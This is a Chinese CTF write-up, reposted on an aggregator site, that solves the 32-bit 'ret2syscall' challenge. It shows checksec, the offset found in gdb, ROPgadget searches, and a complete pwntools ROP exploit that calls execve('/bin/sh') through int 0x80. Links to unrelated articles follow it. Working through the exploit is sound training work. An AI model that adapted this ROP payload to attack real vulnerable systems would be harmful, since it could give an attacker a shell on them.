ret2syscall-执行系统调用

news2024/10/6 6:45:08

题目

 checksec一下:

32位程序,没有canary、PIE,开了NX,放入IDA看一下:

有gets,可以溢出,不过没有system函数,也不能执行shellcode,查看字符发现有/bin/sh,那就是新学的系统调用。

 假设程序中存在下面的代码:

mov eax, 0xb
mov ebx, [“/bin/sh”] 
mov ecx, 0
mov edx, 0
int 0x80
=> execve("/bin/sh",NULL,NULL)

 但是程序中并没有这串代码,所以需要使用ROP(返回导向编程)构造,构造方式如下图:

int 0x80 address
'/bin/sh' address
pop_rdx_ret address
0
pop_rcx_ret address
0
pop_rbx_ret address
0xb
pop_rax_ret address

简单来说就是需要找到一些零零散散的gadget,然后组装成payload,不过前提是先溢出劫持控制器,这里IDA里给出v4的大小的'0x64',要溢出的话需要'0x68'也就是104个字节就行,不过这只是静态,主要还是得看看动态。

放入gdb调试:

0xffffcf38 - 0xffffcecc = 0x6c

很明显于IDA给的不符,这里填充就需要(108+4)=112个字节。

接下来找一下pop_eax_ret:

ROPgadget --binary ret2syscall --only "pop|ret"

pop_eax_ret_addr = 0x080bb196

虽然这里并没有找到pop_ebx_ret的地址,但是最后发现pop_ebx、pop_ecx、pop_edx的地址一致,那就省事了:

pop_ebx_ecx_edx_ret_addr = 0x0806eb90 

接着找一下'/bin/sh'的地址:

ROPgadget --binary ret2syscall --string "/bin/sh"

 

 

最后在找一下'int 0x80'地址:

ROPgadget --binary ret2syscall --only "int"

int_0x80_addr = 0x08049421

exp:

#coding=UTF-8
from pwn import *
from LibcSearcher import *

context(arch='i386', os='linux', log_level='debug')

r = process('./ret2syscall')


pop_eax_ret_addr = 0x080bb196
pop_ebx_ecx_edx_ret_addr = 0x0806eb90
bin_sh_addr = 0x80BE408
int_0x80_addr = 0x08049421

payload = b'a'*112 + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_ebx_ecx_edx_ret_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_0x80_addr)

r.sendline(payload)
r.interactive()

 总结:ret2syscall适用于没有system函数,但有'/bin/sh'地址。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/751967.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

消息中间件系列 - RocketMQ

前言 本内容仅用于个人学习笔记,如有侵扰,联系删除 【尚硅谷】RocketMQ教程丨深度掌握MQ消息中间件_哔哩哔哩_bilibili 第一章 RocketMQ概述 一、MQ概述 1 、MQ简介 MQ,Message Queue,是一种提供消息队列服务的中间件&#…

SpringBoot(七)Filter的使用

思考一个问题,服务端对于客户端的请求,真的应该照单全收吗?不是的。比如拿我们之前实现的用户注册功能来看,如果用户的昵称带了一些不友好的字母或汉字,你是给他过滤掉呢还是让他注册呢?毫无疑问&#xff0…

Zint-条码生成软件-命令行调用-一维条码和二维条码

文章目录 1.Zint简介2.术语3.命令行3.1.输入数据3.2.直接输出3.3.选择条码类型3.4.调整高度3.5.调整空白3.6.添加边界条和框3.7.颜色设置3.8.旋转3.9.调整图像尺寸 4.界面5.总结 1.Zint简介 Zint项目旨在提供一个完整的跨平台开源条形码生成解决方案。该软件包目前包括一个基于…

零拷贝是如何实现的

零拷贝是如何实现的 零拷贝(Zero-copy)是一种优化技术,用于在数据传输过程中减少数据的拷贝次数,从而提高数据传输的效率和性能。传统的数据传输涉及多次内存拷贝操作,而零拷贝通过减少或避免这些拷贝操作来实现性能优…

HDC.Cloud 2023|邂逅AI,华为云CodeArts铸就研发效能10倍提升

2023年7月7日-9日,华为开发者大会2023(Cloud)在东莞松山湖隆重举行。期间,华为云主办了以“AI‘邂逅’一站式软件开发,CodeArts以10倍效能“绘”企业应用远景”为主题的分论坛。 华为云PaaS服务产品部副部长汪维敏携一…

用户注册倒计时案例

代码&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title> </hea…

ORA-00845: MEMORY_TARGET not supported on this system

memory_target的值需要比tmpfs的小。 解决&#xff1a; vim /usr/local/oracle/admin/orcl/pfile/init.ora.6132023154657 强制加载init.ora.6132023154657文件启动数据库 SQL> startup force pfile/usr/local/oracle/admin/orcl/pfile/init.ora.6132023154657;

【原生基础篇】JavaScript中常用的数据输出方式解析

​ 在 JavaScript 中&#xff0c;一般使用如下几种方式进行数据的输出&#xff1a; JavaScript 基础到高级 Canvas游戏开发 原生JavaScipt案例合集 JavaScript DOM基础 1. 在浏览器的控制台输出 浏览器F12打开浏览器控制台(一般前端开发人员必备浏览器为谷歌浏览器&#xff0…

ArcGIS一张图的制作过程

来源&#xff1a;GIS荟 数据 首先&#xff0c;第一步是数据的准备和处理&#xff0c;这里没什么好说的。 使用的所有数据都是在网上下载的 OSM 数据。 第一步 主视觉 为了更好的说明该地图的完整操作过程&#xff0c;同时又要有条理、比较好理解&#xff0c;所以我采用拆分…

matlab处理数据

Matlab异常值处理https://blog.csdn.net/weixin_57345774/article/details/126965835?csdn_share_tail%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22126965835%22%2C%22source%22%3A%22qq_53011270%22%7D&fromshareblogdetail 异常值识别和…

SAP从放弃到入门系列之WIP Batch(Work-in-Process)-Part2

文章目录 一、前言二、系统操作2.1 数据设置2.2 业务数据2.3 相关的NOTE&#xff1a;1473025 - FAQ: WIP 批次 三、其他 一、前言 这个测试验证的过程真的是很难受&#xff0c;由于资料太少&#xff0c;查到的SAP官方的文档也描述的非常粗略。因为我从一开始就是有目的的去验证…

性能测试工具 jmeter 录制脚本,传递 cookie,循环执行接口

目录 前言&#xff1a; 代理录制脚本 循环重复添加接口 登录并传递 cookie 给新建产品接口 循环执行脚本 前言&#xff1a; 在使用JMeter进行性能测试时&#xff0c;录制脚本是一种常用的方法。录制脚本可以帮助你捕获和重放用户与应用程序之间的交互&#xff0c;以模拟真…

【深度学习笔记】训练 / 验证 / 测试集

本专栏是网易云课堂人工智能课程《神经网络与深度学习》的学习笔记&#xff0c;视频由网易云课堂与 deeplearning.ai 联合出品&#xff0c;主讲人是吴恩达 Andrew Ng 教授。感兴趣的网友可以观看网易云课堂的视频进行深入学习&#xff0c;视频的链接如下&#xff1a; 神经网络和…

基于CBAM-CNN卷积神经网络预测研究(Python代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

Linux SSH访问虚拟机失败 Restarting network (via systemctl)

访问SSH访问服务器连接失败,重启network 失败 Restarting network (via systemctl): Job for network.service failed because the control process exited with error code. See “systemctl status network.service” and “journalctl -xe” for details.关闭 NetworkManage…

mayavi 远程可视化

似乎最近总是在处理远程可视化的问题 首先应该像配置open3d一样完成x服务器的配置&#xff0c;这里给出我自己的链接。 这时候我们进行安装&#xff0c;给出官网链接 pip install mayavi pip install PyQt5不出意外的话&#xff0c;将会出意外。 会提示如下报错qt.qpa.plugi…

关于海外的应用商店优化策略

关于应用商店优化&#xff0c;我们可以通过投放应用广告&#xff0c;或者是遵循ASO的实践&#xff0c;来优化应用程序从而获得自然流量。 如果开始进行应用商店优化&#xff0c;我们需要准备一份可用于日常的ASO清单。 建立清晰的应用商店优化策略&#xff0c;研究并了解市场…

适用于电脑的 9 款最佳视频压缩器 | 压缩而不损失质量

如果您是视频编辑者或经常处理视频的人&#xff0c;您就会知道一个简单的 1 分钟高清视频会占用您的硬盘多大的空间。无论是在抖音、快手上上传视频&#xff0c;还是只是想在硬盘中保留视频文件的备份&#xff0c;您都需要一个具体的解决方案来压缩视频&#xff0c;而不会大幅降…

解决MAC IDEA终端每次都要source ~/.zshrc

安装nvm之后&#xff0c;发现每隔一段时间&#xff08;不清楚是新打开一个终端还是会定时刷新&#xff09;就要重新执行source ~/zshrc&#xff0c;才能执行nvm命令。找了一圈发现idea默认使用的shell是bash&#xff0c;将默认的shell改成zsh就可以&#xff0c;更改位置&#x…

PostgreSQL MVCC的弊端

数据库有很多种&#xff08;截至 2023 年 4 月有 897 个&#xff09;。面对如此多的数据库&#xff0c;很难知道该选择什么&#xff01;但有一个有趣的现象&#xff0c;互联网集体决定新应用程序的默认选择。在 2000 年代&#xff0c;传统观点选择 MySQL 是因为像 Google 和 Fa…